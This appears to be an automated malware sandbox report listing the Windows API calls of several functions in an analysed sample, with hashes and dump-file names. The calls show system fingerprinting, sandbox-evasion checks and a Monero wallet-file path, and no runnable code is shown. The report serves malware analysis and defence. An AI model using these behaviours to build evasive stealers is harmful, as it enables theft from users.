Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 62dfbf16dc76dff0dcd01770a9415358cd543047b7b49e7ed8711f7f73b2693b
Instruction ID: 60b3e00c6cdd5288dc6d5153d02564493bf02270197400f1dfe2413b2fda793a
Opcode Fuzzy Hash: 62dfbf16dc76dff0dcd01770a9415358cd543047b7b49e7ed8711f7f73b2693b
Instruction Fuzzy Hash: 7F012CB5A04308BFDB00DBE4DC49F79BBB8EB48701F108459FA0997290D6B8A900CF55

Function 005C7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7734
RtlAllocateHeap.NTDLL(00000000), ref: 005C773B
RegOpenKeyExA.KERNEL32(80000002,00C6D238,00000000,00020119,005C76B9), ref: 005C775B
RegQueryValueExA.KERNEL32(005C76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 005C777A
RegCloseKey.ADVAPI32(005C76B9), ref: 005C7784

Strings

CurrentBuildNumber, xrefs: 005C7771

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: bd797fda371d2ce6f15ba6a08c184fc5b24329a20eaf08e773ab1b6988b1b223
Instruction ID: 1713ad10710076fde6d47a45ffa4fdab6576f12b2ff692fc33e48b17f3b4f73d
Opcode Fuzzy Hash: bd797fda371d2ce6f15ba6a08c184fc5b24329a20eaf08e773ab1b6988b1b223
Instruction Fuzzy Hash: A101F4F5A40308BFDB10DBE4DC49FBEB7B8EB48705F108559FA09A7281D6B46500CB55

Function 005C69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C73048), ref: 005C98A1
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C73258), ref: 005C98BA
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C732B8), ref: 005C98D2
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C732D0), ref: 005C98EA
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C731E0), ref: 005C9903
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C79F78), ref: 005C991B
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C65910), ref: 005C9933
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C65890), ref: 005C994C
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C73000), ref: 005C9964
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C730F0), ref: 005C997C
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C731F8), ref: 005C9995
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C73120), ref: 005C99AD
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C65750), ref: 005C99C5
Part of subcall function 005C9860: GetProcAddress.KERNEL32(74DD0000,00C73030), ref: 005C99DE

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005B11D0: ExitProcess.KERNEL32 ref: 005B1211

Part of subcall function 005B1160: GetSystemInfo.KERNEL32(?), ref: 005B116A
Part of subcall function 005B1160: ExitProcess.KERNEL32 ref: 005B117E

Part of subcall function 005B1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005B112B
Part of subcall function 005B1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005B1132
Part of subcall function 005B1110: ExitProcess.KERNEL32 ref: 005B1143

Part of subcall function 005B1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005B123E
Part of subcall function 005B1220: __aulldiv.LIBCMT ref: 005B1258
Part of subcall function 005B1220: __aulldiv.LIBCMT ref: 005B1266
Part of subcall function 005B1220: ExitProcess.KERNEL32 ref: 005B1294

Part of subcall function 005C6770: GetUserDefaultLangID.KERNEL32 ref: 005C6774

Part of subcall function 005B1190: ExitProcess.KERNEL32 ref: 005B11C6

Part of subcall function 005C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005B11B7), ref: 005C7880
Part of subcall function 005C7850: RtlAllocateHeap.NTDLL(00000000), ref: 005C7887
Part of subcall function 005C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005C789F

Part of subcall function 005C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7910
Part of subcall function 005C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005C7917
Part of subcall function 005C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005C792F

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C7A058,?,005D110C,?,00000000,?,005D1110,?,00000000,005D0AEF), ref: 005C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005C6AE8
CloseHandle.KERNEL32(00000000), ref: 005C6AF9
Sleep.KERNEL32(00001770), ref: 005C6B04
CloseHandle.KERNEL32(?,00000000,?,00C7A058,?,005D110C,?,00000000,?,005D1110,?,00000000,005D0AEF), ref: 005C6B1A
ExitProcess.KERNEL32 ref: 005C6B22

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: c8e9333e2e354adddf56836bd354fa8220703c2bc871bca7ef2cdd7867ba0614
Instruction ID: dbfa8d39843d77cf89a13f480f9c0a0a9d4b961afd5b59a33aaa79d3edbcc950
Opcode Fuzzy Hash: c8e9333e2e354adddf56836bd354fa8220703c2bc871bca7ef2cdd7867ba0614
Instruction Fuzzy Hash: 2631C97190020AAEDB14FBE0DC5AFEE7F78BF84344F50451DF212A6191DF746A05CAAA

Function 005B99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
LocalFree.KERNEL32(005B148F), ref: 005B9A90
CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 258fd615a78c41ebd3cf43b39ae5ccec97d2c0e5b952c05caa1f3e3a88a596a3
Instruction ID: f63fc0684f0914bb1d3157fe69f832eabeeb11a1988dfd5a8fd377c1add23a21
Opcode Fuzzy Hash: 258fd615a78c41ebd3cf43b39ae5ccec97d2c0e5b952c05caa1f3e3a88a596a3
Instruction Fuzzy Hash: 463108B4A00209EFDB14DFA4C985FEE7BB5FF48740F108158E915A7290D778AA41CFA5

Function 005C4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00C7F4F0), ref: 005C47DB

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C4801
lstrcat.KERNEL32(?,?), ref: 005C4820
lstrcat.KERNEL32(?,?), ref: 005C4834
lstrcat.KERNEL32(?,00C6C6A8), ref: 005C4847
lstrcat.KERNEL32(?,?), ref: 005C485B
lstrcat.KERNEL32(?,00C7EBC0), ref: 005C486F

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005C8D90: GetFileAttributesA.KERNEL32(00000000,?,005B1B54,?,?,005D564C,?,?,005D0E1F), ref: 005C8D9F

Part of subcall function 005C4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005C4580
Part of subcall function 005C4570: RtlAllocateHeap.NTDLL(00000000), ref: 005C4587
Part of subcall function 005C4570: wsprintfA.USER32 ref: 005C45A6
Part of subcall function 005C4570: FindFirstFileA.KERNEL32(?,?), ref: 005C45BD

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 1e5dfd09a453245cc5e7d1d756836baf15dcea4be521b06f135b6e677652cb31
Instruction ID: 4e150f43d0da6b7386d3d88d5e79c176ac56bd549dfa817c2e8327782909533a
Opcode Fuzzy Hash: 1e5dfd09a453245cc5e7d1d756836baf15dcea4be521b06f135b6e677652cb31
Instruction Fuzzy Hash: 5A3150B29002096BCB11FBB0DC89FF97778BB98700F404589B31996081EEB4A689CF95

Function 005B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005B123E
__aulldiv.LIBCMT ref: 005B1258
__aulldiv.LIBCMT ref: 005B1266
ExitProcess.KERNEL32 ref: 005B1294

Strings

@, xrefs: 005B1233

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ec3cfa5685ee595636beb2ab86e127688d5c8ea548f5a8da3067e408d6a1bf61
Instruction ID: f024f36f356252340f5230f59f1dbad76859bcbe2e632cc9e1c9c021603d3d10
Opcode Fuzzy Hash: ec3cfa5685ee595636beb2ab86e127688d5c8ea548f5a8da3067e408d6a1bf61
Instruction Fuzzy Hash: C9014BB0940308BAEB50EBE1CC49BAEBB78BB44701F608068E606B6280D6B46641879D

Function 005C40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00C7EC60,00000000,00020119,?), ref: 005C40F4
RegQueryValueExA.ADVAPI32(?,00C7F490,00000000,00000000,00000000,000000FF), ref: 005C4118
RegCloseKey.ADVAPI32(?), ref: 005C4122
lstrcat.KERNEL32(?,00000000), ref: 005C4147
lstrcat.KERNEL32(?,00C7F4A8), ref: 005C415B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 3ee8c4cff3bdb6911b40f1613d0d522fee65dfbb61ea1f6e615353a01c9a7351
Instruction ID: 3e33e846897f8ddd3f92ceaa293c751bf81c611144b1c3a17416aa8c3624bf36
Opcode Fuzzy Hash: 3ee8c4cff3bdb6911b40f1613d0d522fee65dfbb61ea1f6e615353a01c9a7351
Instruction Fuzzy Hash: CD416CB69001087BDB24EBE0DC5AFFD777DB788340F40855CB61A56181EA756B88CBE2

Function 005C7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7E37
RtlAllocateHeap.NTDLL(00000000), ref: 005C7E3E
RegOpenKeyExA.KERNEL32(80000002,00C6CEB8,00000000,00020119,?), ref: 005C7E5E
RegQueryValueExA.KERNEL32(?,00C7ECE0,00000000,00000000,000000FF,000000FF), ref: 005C7E7F
RegCloseKey.ADVAPI32(?), ref: 005C7E92

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
